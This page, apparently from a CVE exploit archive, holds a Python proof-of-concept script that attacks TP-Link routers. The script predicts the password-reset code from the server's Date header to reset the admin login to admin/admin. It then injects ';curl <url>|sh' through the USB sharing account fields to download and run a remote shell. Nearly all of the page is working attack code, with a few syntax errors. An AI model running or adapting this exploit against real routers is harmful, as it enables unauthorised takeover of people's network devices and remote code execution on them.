4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / tplink.py PY
#!/usr/bin/env python

import requests
import email.utils as eut
import math
import sys
import utils


class TPLinkPwn:
	def __init__(self, url):
	    self.url = url
	    self.cookies = None
	    self.token = ""
	    self.key = None

	def post(self, path, data):
		return requests.post('%s/cgi-bin/luci/;stok=%s/%s'%(self.url, self.token, path), data=data, cookies=self.cookies)

	def createCode(self):
		data = {
			"operation": "read",
		}
		r = self.post("login?form=vercode", data)
		if r.status_code != 200:
			print "something went wrong"
			print r.status_code
			print r.text
			exit(-1)

	def resetAdmin(self, time):
		code = utils.random(time, 100000, 999999)

		data = {
			"operation": "write",
			"vercode": code
		}

		json = self.post("login?form=vercode", data).json()
		if json["success"] == True:
			print "Found code %d, admin password reset"%code
			return True
		return False

	def guessCode(self, time):
		if self.resetAdmin(time):
			return True
		else:
			for i in range(time, time+5):
				if self.resetAdmin(i):
					return True

		return False

	def getDate(self):
		r = requests.get(self.url)
		if r.status_code != 200:
			print "something went wrong"
			print r.status_code
			print r.text
			exit(-1)
		dateStr = r.headers["Date"]

		return eut.mktime_tz(eut.parsedate_tz(dateStr))

	def setUsbSharing(self):
		print "Making sure the sharing account is the default account"
		data = {
			"operation": "write",
			"account": "admin"
		}
		json = self.post("admin/folder_sharing?form=account", data).json()
		assert json["success"]

	def getRsaKey(self):
		print "Reading RSA key"
		json = self.post("login?form=login", {"operation":"read"}).json()
		assert json["success"]

		n,e = json["data"]["password"]
		self.key = utils.pubKey(n,e)

	def login(self, username, password):
		if not self.key:
			self.getRsaKey()

		data = {
		  "operation": "login",
			"username": username,
			"password": utils.encrypt(self.key, password)
		}
		print "Logging in"
		r = self.post("login?form=login", data)
		json = r.json()
		assert json["success"]

		self.cookies = r.cookies
		self.token = r.json()["data"]["stok"]

	def createAccount(self, username, password):
		assert len(username) < 16 and ' ' not in username
		assert len(password) < 16 and ' ' not in password

		if not self.key:
			self.getRsaKey()

		data = {
		  "operation": "set",
			"new_acc": username,
			"new_pwd": utils.encrypt(self.key, password),
			"cfm_pwd": utils.encrypt(self.key, password)
		}

		print "Creating user account"
		json = self.post("admin/administration?form=account", data).json()
		assert json["success"]

	def reset(self):
		print "Getting current time from Date header"
		time = self.getDate()

		print "Renerating reset code"
		self.createCode()

		print "Finding reset code"
		if not self.guessCode(time):
			print "Code not found"


if __name__ == "__main__":
	if len(sys.argv) < 2:
		print "usage: %s <router base url> [shell url]"%sys.argv[0]
		print "%s http://192.168.0.1 hack.me/s"%sys.argv[0]
		exit(-1)

	if sys.argv[2] && len(sys.argv[2]) > 10:
		print "Shellcode url cannot be greater than 10 characters"
		exit(-1)

	router = sys.argv[1]
	shell = sys.argv[2]
	"""
		Command injection when changing the usb account as it runs the following:
		os.execute("usbuser " .. username .. " '" .. password .. "'")

		username and password are limitted to a length of 16 and no spaces eg 32 < ord(c) < 127
	"""
	tp = TPLinkPwn(router)
	tp.reset()
	print "Admin account reset to admin/admin"

	if shell
		tp.login("admin", "admin")
		tp.setUsbSharing()
		tp.createAccount(";curl", "%s'|sh'"%shell)

		print "Reverse shell activated"